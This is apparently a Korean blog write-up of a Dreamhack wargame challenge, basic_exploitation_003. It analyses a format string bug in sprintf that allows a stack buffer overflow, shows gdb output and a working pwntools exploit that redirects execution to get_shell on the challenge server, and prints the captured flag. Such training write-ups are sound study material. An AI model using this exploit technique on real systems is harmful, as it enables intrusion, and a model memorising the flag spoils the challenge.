1. Prob
이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
Ubuntu 16.04 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) |
2. Analysis
기존 풀이 완료했던 basic_exploitation_001 보다는 조금 어려워졌을 것으로 생각된다. 역시 Return Address Overwrite를 사용하여 문제를 풀이하여야 한다고 암시한다. 해당 문제 역시 소스코드를 주기 때문에 디컴파일러를 사용하지 않고 소스코드를 통해 취약점을 찾고, 해당 취약점이 Exploitable 한지 동적 분석을 통해 확인한다. 문제에서 주어지는 소스코드는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
main( ) 함수 내 코드를 살펴보면, heap_buf 라는 포인터 변수를 선언하고, malloc( ) 을 사용하여 0x80 = 128byte 만큼의 동적 메모리를 할당한다. 그리고 0x90 = 144byte 크기의 배열 stack_buf 을 선언하고, read( ) 함수를 이용해서 동적으로 할당한 메모리 공간에 사용자 입력을 저장한다. 그리고 sprintf( ) 함수를 사용하여 heap_buf 메모리 내에 저장된 데이터를 stack_buf를 출력 버퍼로 하여 데이터를 출력한다.
이 코드에 존재하는 취약점을 확인해보자. 먼저 sprintf( ) 함수의 정의를 살펴보면 아래와 같다.
#include <stdio.h>
int sprintf(char *buffer, const char *format-string, argument-list);
sprintf( ) 함수의 두 번째 인자는 const char *format-string 이다. 즉, 두 번째 인자는 포매팅 문자열로 사용되기 때문에, 사용자 입력을 그대로 사용할 경우, FSB (Format String Bug) 취약점이 발생하게 된다.
두 번째로 sprintf( ) 취약점은 문자열이 EOS ('\0')를 만날 때 까지 메모리를 계속 읽으려고 시도한다. 이는 유효 범위를 넘어선 메모리에 접근할 수 있는 Out-Of Bounds (OOB) Read 취약점이 발생하게 된다.
세 번째로, FSB 취약점을 통해 Buffer Overflow 취약점이 발생한다. 예를 들어 heap_buf 에 "%1000s" 와 같은 특수 포맷 지정자가 저장되어 있는 경우 이 문자열은 FSB 취약점으로 인해 1000byte 이상의 메모리를 stack_buf에 쓰게 만든다. 그러나 stack_buf의 크기는 144byte 이므로 Buffer Overflow가 발생하게 된다.
어떤 취약점이 발생하는지 확인하였으므로, get_shell( ) 함수를 실행시키기 위해 어떤 취약점을 사용해야 할지 고민해야 한다. 입력은 read( ) 함수를 통해 입력을 받고, heap_buf 보다 stack_buf 의 크기가 크기 때문에 단순히 버퍼를 채우는 방법으로는 버퍼 오버플로우 취약점을 트리거할 수 없다. 따라서 sprintf( ) 함수에서 발생하는 FSB 취약점을 사용하여 Buffer Overflow 취약점을 트리거링하는 방법을 사용한다. 이제 gdb를 사용하여 동적 분석을 진행해보자.
pwndbg> disassemble main
Dump of assembler code for function main:
0x0804867c <+0>: push ebp
0x0804867d <+1>: mov ebp,esp
0x0804867f <+3>: push edi
0x08048680 <+4>: sub esp,0x94
0x08048686 <+10>: push 0x80
0x0804868b <+15>: call 0x8048490 <malloc@plt>
0x08048690 <+20>: add esp,0x4
0x08048693 <+23>: mov DWORD PTR [ebp-0x8],eax
0x08048696 <+26>: lea edx,[ebp-0x98]
0x0804869c <+32>: mov eax,0x0
0x080486a1 <+37>: mov ecx,0x24
0x080486a6 <+42>: mov edi,edx
0x080486a8 <+44>: rep stos DWORD PTR es:[edi],eax
0x080486aa <+46>: call 0x8048622 <initialize>
0x080486af <+51>: push 0x80
0x080486b4 <+56>: push DWORD PTR [ebp-0x8]
0x080486b7 <+59>: push 0x0
0x080486b9 <+61>: call 0x8048450 <read@plt>
0x080486be <+66>: add esp,0xc
0x080486c1 <+69>: push DWORD PTR [ebp-0x8]
0x080486c4 <+72>: lea eax,[ebp-0x98]
0x080486ca <+78>: push eax
0x080486cb <+79>: call 0x80484f0 <sprintf@plt>
0x080486d0 <+84>: add esp,0x8
0x080486d3 <+87>: lea eax,[ebp-0x98]
0x080486d9 <+93>: push eax
0x080486da <+94>: push 0x8048791
0x080486df <+99>: call 0x8048460 <printf@plt>
0x080486e4 <+104>: add esp,0x8
0x080486e7 <+107>: mov eax,0x0
0x080486ec <+112>: mov edi,DWORD PTR [ebp-0x4]
0x080486ef <+115>: leave
0x080486f0 <+116>: ret
End of assembler dump.
먼저 stack_buf 가 ebp로부터 0x98 만큼 떨어져 있으므로, ret까지의 거리는 여기에 4 byte (SFP) 를 더한 156 byte 일 것이다. gdb를 통해 아래와 같이 확인할 수 있다.
pwndbg> r <<< $(python -c 'print("%156c" + "AAAA")')
(중략)
Breakpoint 1, 0x080486cb in main ()
(중략)
pwndbg> c
Continuing.
ECHO :
AAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*EAX 0
EBX 0xf7f9ee34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
*ECX 0
*EDX 0
*EDI 0x20202020 (' ')
ESI 0x8048700 (__libc_csu_init) ◂— push ebp
*EBP 0x20202020 (' ')
*ESP 0xffffd390 ◂— 0xa /* '\n' */
*EIP 0x41414141 ('AAAA')
───────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────
Invalid address 0x41414141
(중략)
pwndbg>
예상했던 바와 다르지 않으므로, give_shell 주소만 알면 어렵지 않게 문제를 풀 수 있다.
from pwn import*
p = remote('host1.dreamhack.games',18518)
elf = ELF("./basic_exploitation_003")
payload = b'%156c'
payload += p32(elf.symbols['get_shell'])
p.sendline(payload)
p.interactive()
gssong@cybersecurity:~/Desktop$ python b_ex_003.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/gssong/.cache/.pwntools-cache-3.12/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (4.12.0)
[+] Opening connection to host1.dreamhack.games on port 18518: Done
[*] '/home/gssong/Desktop/basic_exploitation_003'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
ECHO : i\x86\x0
$ ls
basic_exploitation_003
flag
$ cat flag
DH{4e6e355c62249b2da3b566f0d575007e}[*] Got EOF while reading in interactive
'Wargame & CTF > Dreamhack' 카테고리의 다른 글
out_of_bound (0) | 2025.01.22 |
---|---|
off_by_one_001 (0) | 2025.01.22 |
basic_exploitation_001 (0) | 2024.12.18 |
shell_basic (0) | 2024.12.17 |
baby-bof (0) | 2024.12.17 |